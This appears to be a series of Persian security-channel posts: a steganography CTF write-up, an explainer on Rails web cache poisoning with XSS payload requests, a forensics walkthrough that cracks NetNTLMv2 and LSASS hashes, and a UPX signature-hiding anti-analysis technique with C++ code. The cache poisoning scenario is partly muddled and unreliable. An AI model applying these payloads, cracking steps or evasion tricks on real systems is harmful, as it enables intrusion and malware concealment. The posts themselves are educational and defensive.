* فرضیه: از آنجایی که تمام سرنخ‌های فراداده‌ای ( exiftool ) استفاده شده‌اند، باید به سراغ تکنیک‌های پنهان‌نگاری عمیق‌تر در خود پیکسل‌های تصویر اصلی ( steve.jpg ) برویم. متداول‌ترین تکنیک، پنهان‌نگاری در بیت‌های کم‌ارزش (Least Significant Bit - LSB) است.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Mr. SAM
#Stegoint چالش Stegoint: یک سناریوی تحلیل عمیق و چند لایه در این چالش که یک مسیر خطی ساده ندارد، یک تصویر به ما داده شده که باید flag نهایی چالش را در آن پیدا کنیم . یک زنجیره چند مرحله‌ای از تکنیک‌های مختلف رمزنگاری، پنهان‌نگاری و تحلیل داده . در ادامه،…
* ابزار: zsteg (ابزاری تخصصی برای شناسایی داده‌های پنهان در LSB).

* دستور:

zsteg steve.jpg


* یافته کلیدی: zsteg تصویر را برای پترن‌های مختلف داده در کانال‌های رنگی و بیت‌پلین‌های مختلف اسکن می‌کند. در میان خروجی‌های متعدد، یک رشته معنادار و بسیار مهم خودنمایی می‌کند:

password: password123

* نتیجه‌گیری: این رشته، رمز عبور مورد نیاز برای فایل ZIP است. مهاجم از دو تکنیک پنهان‌نگاری مجزا استفاده کرده است: steghide برای جاسازی فایل اولیه، و LSB Steganography برای پنهان کردن یک رمز عبور ثانویه.

فاز نهایی: استخراج فلگ

* هدف: باز کردن فایل ZIP و دستیابی به فلگ.

* ابزار: unzip

* دستور:
unzip output.zip

* تعامل: ابزار رمز عبور را درخواست می‌کند. password123 را وارد می‌کنیم.

* خروجی: یک فایل متنی (مانند flag.txt ) استخراج می‌شود که حاوی فلگ نهایی چالش است.

جمع‌بندی پیشرفته تر

این چالش یک شبیه‌سازی کوچک اما هوشمندانه از نحوه زنجیره‌سازی تکنیک‌ها (Technique Chaining) توسط مهاجمان پیشرفته است:

1.لایه‌بندی (Layering): مهاجم هرگز داده‌ها را به صورت خام در یک مرحله پنهان نمی‌کند. استفاده ترکیبی از Exif data -> ROT13 -> Steghide -> ROT13 -> Pastebin -> Base64 -> ZIP archive -> LSB Steganography یک عمق دفاعی ایجاد می‌کند که تحلیلگر را مجبور به استفاده از مجموعه ابزارها و مهارت‌های متنوعی می‌کند.

2.گمراه‌سازی (Misdirection): رمز عبور اول ( stegopass ) تحلیلگر را به این باور می‌رساند که کار تمام شده است، در حالی که این تنها کلید ورود به مرحله بعدی بود.

3.استفاده از منابع خارجی (External Resources): انتقال بخشی از داده‌ها به یک سرویس خارجی مانند Pastebin یک تاکتیک رایج برای شکستن زنجیره فارنزیک و دور زدن سیستم‌های مانیتورینگ داخلی است.

بیشتر بدانید :

* تحلیل آنتروپی (Entropy Analysis): فایل‌هایی که داده‌های رمزنگاری شده یا فشرده (مانند ZIP) را به صورت پنهان در خود جای داده‌اند، معمولاً دارای آنتروپی (میزان تصادفی بودن داده‌ها) بالاتری نسبت به فایل‌های عادی هستند. ابزارهایی مانند binwalk -E می‌توانند به شناسایی این ناهنجاری‌ها کمک کنند.

* ۔Data Carving: ابزارهایی مانند binwalk یا foremost می‌توانند یک فایل را برای "هدرها" یا "امضاهای" فایل‌های شناخته‌شده (Magic Numbers) اسکن کنند. اگرچه steghide داده‌ها را پراکنده می‌کند، اما در سناریوهای دیگر، binwalk می‌توانست مستقیماً فایل ZIP جاسازی شده را بدون نیاز به steghide پیدا و استخراج کند.

* قوانین شناسایی مبتنی بر رفتار: در سطح شبکه، می‌توان قوانینی (مثلاً در SIEM یا IDS ) برای شناسایی الگوهای مشکوک نوشت؛ مثلاً دانلود یک فایل تصویر و به دنبال آن مشاهده ترافیک به سمت سرویس‌هایی مانند Pastebin از همان مبدأ.

@NullError_ir
#Cache

۔Parameter Cloaking: هنر پنهان‌سازی پارامتر در حملات Web Cache Poisoning

حملات Web Cache Poisoning (WCP) همواره یکی از جذاب‌ترین و در عین حال پیچیده‌ترین بردارهای حمله در دنیای امنیت وب بوده‌اند. این حملات به مهاجم اجازه می‌دهند تا یک پاسخ مخرب را در حافظه Cache یک سرور ذخیره کرده و آن را به تعداد زیادی از کاربران بی‌خبر تحویل دهد. امروز قصد داریم به یکی از زیرشاخه‌های هوشمندانه و مخفیانه این حملات بپردازیم: Parameter Cloaking. این تکنیک بر یک اصل ساده اما خطرناک استوار است: عدم تطابق در تفسیر درخواست (Request Interpretation Mismatch) بین اجزای مختلف یک وب اپلیکیشن.

۔Web Cache Poisoning: یک یادآوری سریع

قبل از ورود به بحث اصلی، به طور خلاصه به یاد بیاوریم که Cache چگونه کار می‌کند و چگونه مسموم می‌شود. سرورهای Cache (مانند Varnish, Nginx Cache یا سرویس‌های CDN) یک نسخه از پاسخ‌های یکسان به درخواست‌های تکراری را ذخیره می‌کنند تا سرعت پاسخ‌دهی به کاربران را افزایش دهند. برای اینکه Cache بداند کدام پاسخ متعلق به کدام درخواست است، از یک "کلید" یا Cache Key استفاده می‌کند. این کلید معمولاً از ترکیب بخش‌هایی از درخواست HTTP مانند Host Header و Request Path (مسیر URL) ساخته می‌شود.

آسیب‌پذیری WCP زمانی رخ می‌دهد که یک اپلیکیشن برای تولید پاسخ خود از ورودی‌هایی (مانند یک Header خاص) استفاده می‌کند که در Cache Key لحاظ نشده‌اند. مهاجم با دستکاری این ورودی‌های "نادیده گرفته شده" (Unkeyed Inputs)، پاسخی مخرب تولید می‌کند و Cache آن را تحت یک کلید معتبر ذخیره می‌کند. از این پس، هر کاربری که درخواستی منطبق با آن Cache Key ارسال کند، پاسخ مسموم را دریافت خواهد کرد.

۔Parameter Cloaking چیست؟

۔Parameter Cloaking یا "پنهان‌سازی پارامتر" یک تکنیک خاص در WCP است که در آن مهاجم پارامتری را به URL اضافه می‌کند به گونه‌ای که سرور Cache آن را به عنوان بخشی از Cache Key می‌شناسد، اما اپلیکیشن Back-end آن را نادیده می‌گیرد.

این عدم تطابق در پردازش URL، فرصتی طلایی برای مسموم‌سازی Cache ایجاد می‌کند. تصور کنید یک درخواست شامل دو بخش است که توسط دو مفسر مختلف خوانده می‌شود:

1. مفسر اول (Cache Server): درخواست را کامل و با تمام جزئیات می‌بیند.

2. مفسر دوم (Application Framework): به دلیل یک تفاوت جزئی در نحوه Parse کردن Query String، بخشی از درخواست را نادیده می‌گیرد.

این دقیقاً همان جایی است که Parameter Cloaking اتفاق می‌افتد.

آسیب‌پذیری در قلب Ruby on Rails

در این نوشته به طور خاص به این آسیب‌پذیری در فریم‌ورک Ruby on Rails اشاره می‌کنیم. مشکل از نحوه پردازش پارامترهای Query String در این فریم‌ورک ناشی می‌شود. طبق استانداردها، پارامترها در URL با کاراکتر & از هم جدا می‌شوند.

حالا این URL را در نظر بگیرید:

https://example.com/search?query=normal&;type=xss

بسیاری از سرورهای Cache و Proxy، این رشته را به صورت استاندارد پردازش کرده و دو پارامتر را تشخیص می‌دهند:

* query با مقدار normal
* type با مقدار xss

بنابراین، Cache Key بر اساس وجود هر دو پارامتر ساخته می‌شود.

اما در نسخه‌های قدیمی‌تر Rails (و برخی دیگر از فریم‌ورک‌ها)، Parser مربوط به Query String، ترکیب &; را به عنوان یک جداکننده معتبر نمی‌شناسد. در نتیجه، از دیدگاه Rails، این URL فقط یک پارامتر دارد:

* query با مقدار normal

پارامتر type به طور کامل "نادیده" یا Cloak می‌شود.

سناریوی حمله: گام به گام تا مسموم‌سازی Cache

بیایید یک سناریوی حمله کامل را با استفاده از این آسیب‌پذیری بررسی کنیم. فرض کنید یک وب‌سایت آسیب‌پذیر با آدرس victim.com داریم که از Rails استفاده می‌کند و یک سرور Cache در جلوی آن قرار دارد.

مرحله اول: ارسال درخواست مسموم‌کننده (The Poisoning Request)

مهاجم یک درخواست دستکاری‌شده به سرور ارسال می‌کند. هدف این است که یک صفحه معتبر (مثلاً صفحه اصلی) را تحت یک Cache Key مخرب ذخیره کند.

GET /?lang=en&;callback=alert(1) HTTP/1.1
Host: victim.com


* تحلیل از دید Cache Server: سرور Cache این URL را می‌بیند و یک Cache Key بر اساس مسیر /?lang=en&;callback=alert(1) تولید می‌کند.

* تحلیل از دید اپلیکیشن Rails: فریم‌ورک Rails پارامتر callback را به دلیل وجود جداکننده نامعتبر &; نادیده می‌گیرد و درخواست را معادل /?lang=en پردازش می‌کند. در نتیجه، یک پاسخ کاملاً عادی و بدون هیچ اسکریپت مخربی (مثلاً صفحه اصلی سایت به زبان انگلیسی) را برمی‌گرداند.

مرحله دوم: ذخیره پاسخ در Cache

اکنون اتفاق کلیدی رخ می‌دهد: سرور Cache پاسخ سالم و عادی اپلیکیشن را تحت کلید مسموم /?lang=en&;callback=alert(1) ذخیره می‌کند
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Mr. SAM
#Cache ۔Parameter Cloaking: هنر پنهان‌سازی پارامتر در حملات Web Cache Poisoning حملات Web Cache Poisoning (WCP) همواره یکی از جذاب‌ترین و در عین حال پیچیده‌ترین بردارهای حمله در دنیای امنیت وب بوده‌اند. این حملات به مهاجم اجازه می‌دهند تا یک پاسخ مخرب را…
مرحله سوم: قربانی و فعال‌سازی Payload

حالا مهاجم باید قربانی را به صفحه‌ای هدایت کند که باعث فراخوانی این ورودی Cache شده شود. فرض کنید وب‌سایت victim.com یک قابلیت JSONP دارد که از پارامتر callback برای اجرای یک تابع جاوااسکریپت استفاده می‌کند.

مهاجم قربانی را ترغیب می‌کند تا روی لینک زیر کلیک کند:

https://victim.com/api/user.json?lang=en&callback=alert(1)

این بار URL کاملاً استاندارد است و جداکننده آن & است.

1. درخواست قربانی به سرور Cache می‌رسد.

2. سرور Cache، کلید این درخواست را با ورودی‌های ذخیره‌شده خود مقایسه می‌کند. اینجا یک نکته ظریف وجود دارد: بسیاری از سیستم‌های Cache، کاراکتر ; را در URL نرمال‌سازی کرده یا معادل & در نظر می‌گیرند. در نتیجه، کلید درخواست قربانی (/?lang=en&callback=alert(1)) با کلید مسموم ذخیره‌شده (/?lang=en&;callback=alert(1)) مطابقت پیدا می‌کند.

3۔ Cache بدون ارسال درخواست به اپلیکیشن Rails، پاسخ ذخیره‌شده (که همان صفحه عادی سایت بود) را به قربانی برمی‌گرداند.

۔Wait, where is the XSS ؟ اینجا نقطه‌ای است که ممکن است کمی گنگ باشد. سناریوی بالا منجر به XSS نمی‌شود، بلکه یک صفحه اشتباه را به کاربر نشان می‌دهد. بیایید سناریو را برای اجرای Cross-Site Scripting (XSS) اصلاح کنیم:

سناریوی اصلاح‌شده برای XSS:

فرض کنید یک صفحه جستجو داریم که مقدار پارامتر q را در صفحه Reflect می‌کند و آسیب‌پذیر به XSS است.

Poisoning Request:

GET /?&;q=<noscript>alert('WCP')</noscript> HTTP/1.1

* ۔Cache: کلید را بر اساس /?&;q=<noscript>... می‌سازد.

* ۔Rails: پارامتر q را نادیده گرفته و صفحه اصلی (/) را برمی‌گرداند.

* نتیجه: صفحه اصلی سایت تحت یک کلید حاوی Payload ذخیره می‌شود.

Victim Request:

GET /?utm_source=google

* فرض کنید اپلیکیشن پارامترهای utm_ را نادیده می‌گیرد اما Cache آن‌ها را در کلید لحاظ نمی‌کند (Unkeyed Input). حالا اگر مهاجم لینکی بسازد که باعث شود Cache درخواست قربانی را با درخواست مسموم مطابقت دهد، می‌تواند موفق شود.

یک سناریوی واقعی‌تر به این صورت است:

Poisoning Request: مهاجم درخواستی با یک پارامتر Cloak شده ارسال می‌کند که حاوی Payload است.

GET /some-page?&;vulnerable_param=<noscript/onload=alert(1)> HTTP/1.1

* ۔Cache: این URL را کلیدگذاری می‌کند.

* ۔Rails: پارامتر vulnerable_param را نادیده می‌گیرد و پاسخ عادی صفحه /some-page را می‌دهد.

* نتیجه: پاسخ عادی صفحه /some-page تحت یک کلید حاوی XSS ذخیره می‌شود.

Victim Request: حالا مهاجم کاربر را به لینکی هدایت می‌کند که باعث می‌شود اپلیکیشن این بار پارامتر را بخواند.

GET /some-page?vulnerable_param=<noscript/onload=alert(1)> HTTP/1.1

* این درخواست به Cache می‌رسد. اگر Cache به اندازه کافی "هوشمند" باشد و &; را با & یا عدم وجود آن یکسان بداند، ممکن است پاسخ مسموم را تحویل دهد که البته نادرست است.

نکته: این حمله زمانی موفق است که بتوانیم پاسخی از یک Endpoint امن را در Cache، تحت کلید یک Endpoint آسیب‌پذیر ذخیره کنیم. یا برعکس، پاسخی که حاوی یک Payload است را تحت کلید یک صفحه پربازدید ذخیره کنیم. Parameter Cloaking ابزاری برای ایجاد این عدم تطابق در Cache Key است.

شناسایی و مقابله

* شناسایی: ابزارهایی مانند Rails Parameter Cloaking Scanner با ارسال درخواست‌هایی حاوی جداکننده‌های مختلف ( &; , &_ , &%26 ) و تحلیل پاسخ سرور، این نوع آسیب‌پذیری را به صورت خودکار شناسایی می‌کنند. اگر پاسخ سرور با وجود پارامتر Cloak شده تغییری نکند، نشان‌دهنده وجود مشکل است.

1. به‌روزرسانی فریم‌ورک: همیشه از آخرین نسخه‌های پایدار فریم‌ورک‌ها مانند Ruby on Rails استفاده کنید. این آسیب‌پذیری خاص در نسخه‌های جدیدتر پچ شده است.

2. عادی‌سازی URL در سطح Edge: بهترین راهکار، پاک‌سازی و عادی‌سازی (Normalization) درخواست‌ها در لبه شبکه (CDN, WAF, Load Balancer) است. می‌توان قانونی تعریف کرد که تمام درخواست‌های حاوی Query Stringهای مبهم یا غیراستاندارد را رد (Drop) یا اصلاح کند.

3. پیکربندی سخت‌گیرانه Cache: Cache Key را طوری تنظیم کنید که فقط بر اساس پارامترهای مشخص و معتبری که اپلیکیشن انتظار دارد، ساخته شود. از پذیرش پارامترهای ناشناخته در Cache Key خودداری کنید.

4. غیرفعال کردن Cache برای Endpoints حساس: برای نقاطی از اپلیکیشن که منطق پیچیده‌ای دارند یا ورودی کاربر را پردازش می‌کنند، می‌توان Cache را به طور کامل غیرفعال کرد.

۔Parameter Cloaking نشان می‌دهد مهاجمان هوشمند همیشه به دنبال این شکاف‌ها و تفاوت‌های ظریف در تفسیر داده بین Cache، WAF، Load Balancer و خود اپلیکیشن هستند.

@NullError_ir
#Autopsy

کالبدشکافی از ترافیک شبکه تا حافظه سیستم


تحلیل جامع فارنزیک با ابزارهای Command-Line

مقدمه: سناریو و شواهد اولیه

در یک سازمان، دو کارمند پس از اخراج، با استفاده از دسترسی‌های پیشین خود به سرور فایل‌ها متصل شده و اطلاعاتی را مشاهده کرده‌اند. تیم امنیتی برای اثبات این تخلف، دو مدرک اصلی در اختیار دارد:

traffic.pcapng : این فایل، ترافیک شبکه‌ی رد و بدل شده بین کاربران و سرور را در خود دارد و به ما نشان می‌دهد «چه ارتباطاتی» برقرار شده است.

lsass.DMP : این فایل، تصویری لحظه‌ای (Snapshot) از حافظه پروسه Local Security Authority Subsystem Service یا LSASS است. این پروسه در ویندوز مسئول مدیریت احراز هویت بوده و تحلیل آن می‌تواند اطلاعات هویتی مانند هشِ رمزهای عبور را فاش کند.

فاز اول: تحلیل ترافیک شبکه و تریاژ اولیه

تحلیل فایل‌های PCAP حجیم به صورت دستی در محیط گرافیکی مانند Wireshark بسیار زمان‌بر است. بنابراین، از ابزارهای خط فرمان برای سرعت و دقت بیشتر بهره می‌بریم.

۲.۱. پردازش اولیه با Zeek

ابزار Zeek (که پیش‌تر با نام Bro شناخته می‌شد) یک فریم‌ورک قدرتمند برای تحلیل ترافیک است که بسته‌های خام شبکه را به لاگ‌های ساختاریافته و قابل درک تبدیل می‌کند.

با یک دستور ساده، Zeek را روی فایل PCAP اجرا می‌کنیم:

zeek -r traffic.pcapng


پس از اجرا، Zeek ده‌ها فایل .log تولید می‌کند که هرکدام جنبه‌ای از ترافیک را توصیف می‌کنند ( http.log , dns.log , files.log و...). برای سناریوی ما که مبتنی بر دسترسی به فایل شیرینگ ویندوز (SMB) است، مهم‌ترین فایل ntlm.log است که تمام فرآیندهای احراز هویت NTLM را ثبت کرده است. محتوای این فایل شامل نام کاربری، دامین، چالش سرور (Server Challenge) و پاسخ کاربر (NTLM Response) است که تمام مواد لازم برای فاز بعدی را فراهم می‌کند.

۲.۲. بازرسی عمیق با Tshark

ابزار Tshark ابزار خط فرمان Wireshark است و برای زمانی که نیاز به بررسی جزئیات یک پکت خاص داریم، ایده‌آل است.

برای مثال، می‌توانیم تمام تلاش‌های احراز هویت SMB را به سرعت فیلتر کرده و نام‌های کاربری را استخراج کنیم:

tshark -r traffic.pcapng -Y "smb2.cmd == 1 && smb2.ntlm" -T fields -e smb2.ntlm.auth.username


این دستور نام کاربری mrealman و کاربر دوم را به ما نشان می‌دهد.


۳. فاز دوم: استخراج و شکستن هش NetNTLMv2

پروتکل NTLMv2 از یک مکانیزم Challenge-Response برای احراز هویت استفاده می‌کند و پسورد را به صورت مستقیم در شبکه ارسال نمی‌کند. ما می‌توانیم با اطلاعاتی که از ntlm.log در Zeek به دست آوردیم، هش را بازسازی و برای شکستن آن تلاش کنیم.

۳.۱. ساخت هش برای Hashcat

با استفاده از نام کاربری، دامین، چالش و پاسخ، یک رشته با فرمت مخصوص Hashcat می‌سازیم:
username::DOMAIN:SERVER_CHALLENGE:NTProofStr:Blob

۳.۲. کرک کردن با Hashcat

دستور زیر را برای شروع حمله Dictionary اجرا می‌کنیم:

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt


این پارامتر -m 5600: مشخص می‌کند که نوع هش ما NetNTLMv2 است.

با اجرای این دستور، پسورد کاربر اول (mrealman) با موفقیت کشف می‌شود.

۴. فاز سوم: تحلیل حافظه و استخراج هش NT

پسورد کاربر دوم با استفاده از wordlist های رایج پیدا نشد. در این مرحله، به سراغ گنجینه دوم خود، یعنی فایل lsass.DMP می‌رویم.

۴.۱. تحلیل دامپ با Volatility 3

فریم‌ورک Volatility استاندارد طلایی در حوزه فارنزیک حافظه است و به ما اجازه می‌دهد ساختارهای داخلی حافظه سیستم‌عامل را تحلیل کنیم.

با استفاده از پلاگین windows.lsass.dmp ، تمام اطلاعات هویتی ذخیره شده در حافظه را استخراج می‌کنیم:

python3 vol.py -f lsass.DMP windows.lsass.dmp


این دستور جدولی از کاربران، دامین‌ها و از همه مهم‌تر، NT Hash آن‌ها را به ما می‌دهد. NT Hash، هش اصلی پسورد کاربر است که توسط ویندوز برای بسیاری از عملیات‌های احراز هویت استفاده می‌شود.

۵. فاز چهارم: رمزگشایی پیشرفته و جمع‌بندی نهایی

اکنون برای کاربر اول پسورد Plaintext و برای کاربر دوم NT Hash را در اختیار داریم. از این اطلاعات برای رمزگشایی ترافیک SMB رمزگذاری شده و مشاهده فایل‌های منتقل شده استفاده می‌کنیم.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1
Mr. SAM
#Autopsy کالبدشکافی از ترافیک شبکه تا حافظه سیستم تحلیل جامع فارنزیک با ابزارهای Command-Line مقدمه: سناریو و شواهد اولیه در یک سازمان، دو کارمند پس از اخراج، با استفاده از دسترسی‌های پیشین خود به سرور فایل‌ها متصل شده و اطلاعاتی را مشاهده کرده‌اند.…
۵.۱. رمزگشایی با پسورد و هش

* برای کاربر اول: می‌توان پسورد را مستقیماً در Wireshark (بخش Preferences -> Protocols -> NTLMSSP ) وارد کرد تا ترافیک او را رمزگشایی کند.

* برای کاربر دوم (تکنیک پیشرفته): از آنجایی که پسورد را نداریم، از NT Hash برای رمزگشایی ترافیک مبتنی بر Kerberos استفاده می‌کنیم. برای این کار، ابتدا باید یک فایل keytab بسازیم.

۵.۲. ساخت Keytab با Impacket

ابزار keytab.py یک اسکریپت از مجموعه ابزار فوق‌العاده قدرتمند Impacket است که برای کار با پروتکل‌های شبکه در پایتون طراحی شده.

با استفاده از keytab.py و NT Hash کاربر دوم، یک فایل user2.keytab می‌سازیم. سپس این فایل را در Wireshark (بخش Preferences -> Protocols -> KRB5 ) بارگذاری می‌کنیم. این کار به Wireshark اجازه می‌دهد تا ترافیک SMB کاربر دوم را نیز رمزگشایی کند.

پس از رمزگشایی، با استفاده از قابلیت File -> Export Objects -> SMB در Wireshark یا ابزارهای استخراج فایل مانند Zeek ، فایل‌های clients156.csv و clients978.csv را استخراج کرده و شواهد نهایی تخلف را به دست می‌آوریم.


۶. راهکارهای عملیاتی: شناسایی، مقابله و پیشگیری


۶.۱. شناسایی فعال با Sigma

قوانین Sigma یک راه استاندارد برای توصیف الگوهای حمله هستند که می‌توانند در انواع SIEM ها استفاده شوند.

یک قانون ساده برای شناسایی تلاش برای دامپ کردن حافظه LSASS می‌تواند به تیم امنیتی شما در شناسایی چنین حملاتی در لحظه کمک کند.

۶.۲. استراتژی‌های پیشگیری و Hardening

1. مدیریت چرخه حیات هویت (IAM): حیاتی‌ترین اقدام، پیاده‌سازی یک فرآیند Off-boarding سریع و خودکار است. حساب‌های کاربری باید در آخرین روز کاری کارمند غیرفعال شوند.

2. محافظت از Credential ها: فعال‌سازی قابلیت Windows Defender Credential Guard برای محافظت از حافظه LSASS در برابر حملات Credential Dumping.

3. مانیتورینگ شبکه: پیاده‌سازی ابزارهایی مانند Zeek در شبکه برای نظارت مستمر بر ترافیک و شناسایی الگوهای دسترسی غیرعادی به فایل سرورها.

4. اصل حداقل دسترسی (PoLP): اطمینان حاصل کنید که کاربران فقط به داده‌هایی دسترسی دارند که برای انجام وظایف شغلی‌شان ضروری است.

@NullError_ir
🔥1
#upx

تکنیکی ساده اما هوشمندانه

یک تکنیک کلاسیک اما هوشمندانه در حوزه مهندسی معکوس و حفاظت از نرم‌افزار :
استفاده از پکر UPX ، دستکاری امضای آن برای گمراه کردن ابزارهای تحلیل خودکار و سپس پیاده‌سازی یک مکانیزم خود-بررسی (Self-Checksum) در برنامه برای اطمینان از دستکاری نشدن آن.

در این نوشته، با دیدی عمیق‌تر در سطح تکنیک‌های (Anti-Reversing) مفاهیم را گسترش داده و راهکارهای مقابله با آن را نیز تشریح می‌کنیم.

مقدمه: فلسفه استفاده از پکرها و تکنیک‌های Anti-Analysis

در دنیای حفاظت از نرم‌افزار، پکرها ابزارهایی هستند که فایل اجرایی اصلی (PE - Portable Executable) را فشرده، رمزنگاری یا مبهم‌سازی (Obfuscate) می‌کنند. هدف اصلی این کار، کوچک‌تر کردن حجم فایل و مهم‌تر از آن، سخت‌تر کردن فرآیند مهندسی معکوس است. UPX یکی از معروف‌ترین و پراستفاده‌ترین پکرهاست که به دلیل متن-باز بودن و سادگی استفاده، محبوبیت زیادی دارد.

با این حال، به دلیل همین شهرت، تقریباً تمام ابزارهای تحلیل بدافزار و مهندسی معکوس (مانند Exeinfo PE, IDA Pro, x64dbg) قادر به شناسایی و حتی باز کردن (Unpack) خودکار فایل‌های پک شده با UPX هستند. تکنیک شرح داده شده در مقاله، دقیقاً برای مقابله با همین نقطه ضعف طراحی شده است.

کالبدشکافی فنی و مراحل اجرای تکنیک

بیایید فرآیند را قدم به قدم با جزئیات فنی دقیق باز کنیم.

مرحله ۱: ساخت یک برنامه ساده و پک کردن آن با UPX

ابتدا یک برنامه ساده (مثلاً به زبان C یا ++c) نوشته و کامپایل می‌کنیم. این برنامه می‌تواند هر عملکردی داشته باشد.

#include <iostream>
#include <windows.h>

int main() {
MessageBox(NULL, "This is the original program!", "Hello World", MB_OK);
return 0;
}


پس از کامپایل، فایل اجرایی ( مثلاً SPE.exe ) را با استفاده از UPX پک می‌کنیم.

upx --best SPE.exe


در این مرحله، UPX کدهای اصلی برنامه را فشرده کرده و یک "Stub" یا "Loader" به ابتدای فایل اجرایی اضافه می‌کند. وظیفه این Stub این است که در زمان اجرا، کدهای فشرده شده را در حافظه باز کرده و سپس کنترل اجرا را به نقطه ورود اصلی (Original Entry Point - OEP) برنامه منتقل کند.

مرحله ۲: اصلاح امضای UPX (Shell Modification)

این هوشمندانه‌ترین بخش تکنیک است. فایل‌های پک شده با UPX دارای امضاهای (Signatures) مشخصی در هدر خود هستند. یکی از این امضاها، رشته "UPX\!" است که به ابزارهای تحلیل کمک می‌کند تا نوع پکر را شناسایی کنند. در ساختار فایل PE، این امضاها در بخش‌هایی که UPX ایجاد می‌کند (معمولاً UPX0 , UPX1 ) قرار دارند.

با استفاده از یک ویرایشگر هگزادسیمال (Hex Editor) مانند HxD، به دنبال مقادیر معادل رشته "UPX" یعنی 55 50 58 گشته و آن را به 35 32 30 که معادل رشته "520" است، تغییر می‌دهیم.

چرا این کار مؤثر است؟

* ابزارهایی مانند Exeinfo PE یا اسکریپت‌های Unpacker در دیباگرها، برای شناسایی پکر از جستجوی این امضای ثابت استفاده می‌کنند. با تغییر این امضا، این ابزارها دیگر قادر به تشخیص UPX نخواهند بود و فایل را به عنوان یک فایل "ناشناخته" یا "محافظت نشده" شناسایی می‌کنند. این اولین لایه گمراه‌سازی است.

* این کار باعث می‌شود Unpackerهای خودکار که به دنبال این الگو هستند، با شکست مواجه شوند و تحلیلگر مجبور به تحلیل دستی و یافتن OEP شود که فرآیندی زمان‌برتر است.

مرحله ۳: تحلیل با IDA Pro و چالش‌های آن

وقتی فایل پک شده (حتی بدون تغییر امضا) را با IDA Pro باز می‌کنیم، چیزی که می‌بینیم کد Stub لودر UPX است، نه کد اصلی برنامه. این کد وظیفه باز کردن برنامه در حافظه را دارد و تحلیل آن برای رسیدن به کد اصلی، پیچیده است.

مشکل اصلی: تحلیلگر باید نقطه پایانی روتین Unpacking و پرش نهایی به OEP را پیدا کند. این کار به صورت دستی نیازمند مهارت در اسمبلی و دیباگ کردن است.

اثر تغییر امضا: با تغییر امضا، حتی پلاگین‌ها یا اسکریپت‌های کمکی IDA که برای Unpack کردن UPX طراحی شده‌اند نیز از کار می‌افتند و تحلیلگر را کاملاً به مهارت‌های دستی خود متکی می‌کنند.

مرحله ۴ (پیشرفته): پیاده‌سازی مکانیزم خود-بررسی

این بخش، تکنیک ما را از یک "گمراه‌سازی ساده" به یک "حفاظت فعال" (Active Protection) تبدیل می‌کند. ایده این است که برنامه در زمان اجرا، خودش را در حافظه یا روی دیسک بررسی کند تا مطمئن شود که امضای "520" هنوز وجود دارد. اگر کسی برنامه را با موفقیت Unpack کند یا امضا را به حالت اول (UPX) برگرداند، این بررسی با شکست مواجه شده و برنامه از اجرا خارج می‌شود.
Please open Telegram to view this post
VIEW IN TELEGRAM
1
Mr. SAM
#upx تکنیکی ساده اما هوشمندانه یک تکنیک کلاسیک اما هوشمندانه در حوزه مهندسی معکوس و حفاظت از نرم‌افزار : استفاده از پکر UPX ، دستکاری امضای آن برای گمراه کردن ابزارهای تحلیل خودکار و سپس پیاده‌سازی یک مکانیزم خود-بررسی (Self-Checksum) در برنامه برای…
پیاده‌سازی نمونه (Conceptual Code):

#include <iostream>
#include <fstream>
#include <vector>
#include <windows.h>

bool VerifySignature() {
char currentPath[MAX_PATH];
GetModuleFileName(NULL, currentPath, MAX_PATH);

std::ifstream file(currentPath, std::ios::binary);
if (!file.is_open()) {
return false;
}

// Read file content into a buffer
std::vector<char> buffer((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();

// The signature "520" in hex is 35 32 30
const char signature[] = { 0x35, 0x32, 0x30 };

// Search for the signature in the buffer
auto it = std::search(buffer.begin(), buffer.end(), signature, signature + sizeof(signature));

return it != buffer.end(); // Return true if signature is found
}

int main() {
if (!VerifySignature()) {
// If signature is not found (e.g., unpacked or modified), exit silently.
return -1;
}

MessageBox(NULL, "Signature verified! Program is running.", "Protected App", MB_OK);
return 0;
}


این کد قبل از اجرای منطق اصلی برنامه، فایل اجرایی خودش را می‌خواند و به دنبال امضای دستکاری شده ( 35 32 30 ) می‌گردد. اگر این امضا پیدا نشود (یعنی برنامه Unpack شده) ، برنامه به سادگی خارج می‌شود. این یک تکنیک بسیار مؤثر ضد-دیباگ و ضد-تغییر (Anti-Tampering) است.

کمی پیشرفته‌تر

یک تحلیلگر حرفه‌ای چگونه با چنین حفاظتی مقابله می‌کند؟ و یک مهاجم چگونه می‌تواند آن را قوی‌تر کند؟

روش‌های مقابله با این تکنیک:

1. دیباگ کردن دستی: تحلیلگر برنامه را در یک دیباگر (مانند x64dbg یا WinDbg ) بارگذاری می‌کند. سپس با قرار دادن یک Breakpoint روی توابع دسترسی به فایل (مانند CreateFile , ReadFile ) می‌تواند متوجه شود که برنامه در حال خواندن خودش است.

2. یافتن OEP (Original Entry Point): روش کلاسیک برای Unpack کردن UPX به صورت دستی، دنبال کردن چند پرش (Jump) و پشته (Stack) است. معمولاً آخرین PUSHAD و POPAD در کد Stub و یک پرش بلند (Long Jump) به بخش دیگری از حافظه، نشانگر رسیدن به OEP است. پس از رسیدن به OEP، می‌توان یک (Dump) از حافظه فرآیند گرفت و فایل اجرایی Unpack شده را بازسازی کرد.

3. اصلاح بایت‌های شرطی: پس از یافتن روتین خود-بررسی، تحلیلگر می‌تواند پرش شرطی (Conditional Jump) مربوط به بررسی امضا را با NOP No Operation جایگزین کرده یا آن را معکوس کند تا این مکانیزم حفاظتی را غیرفعال سازد.

چگونه این تکنیک را پیشرفته‌تر کنیم؟ (دیدگاه مهاجم)

1. استفاده از پکر‌های چند لایه یا ناشناخته: به جای UPX، از پکر‌های پیچیده‌تر مانند VMProtect یا Themida استفاده شود که از مجازی‌سازی، جهش کد (mutation) و تکنیک‌های بسیار پیشرفته‌تری استفاده می‌کنند.

2. رمزنگاری امضا: به جای جستجوی یک رشته ثابت ("520") ، می‌توان چندین امضای مختلف در نقاط مختلف فایل قرار داد و در زمان اجرا آن‌ها را با یک الگوریتم رمزگشایی کرده و بررسی کرد.

3. تکنیک‌های Anti-Debug: در کنار بررسی امضا، می‌توان از ده‌ها تکنیک Anti-Debug دیگر استفاده کرد ؛ مانند بررسی وجود دیباگر با IsDebuggerPresent() , بررسی زمان‌بندی اجرا (Timing Checks) برای شناسایی Breakpointها ، و غیره.

جمع‌بندی و نتیجه‌گیری

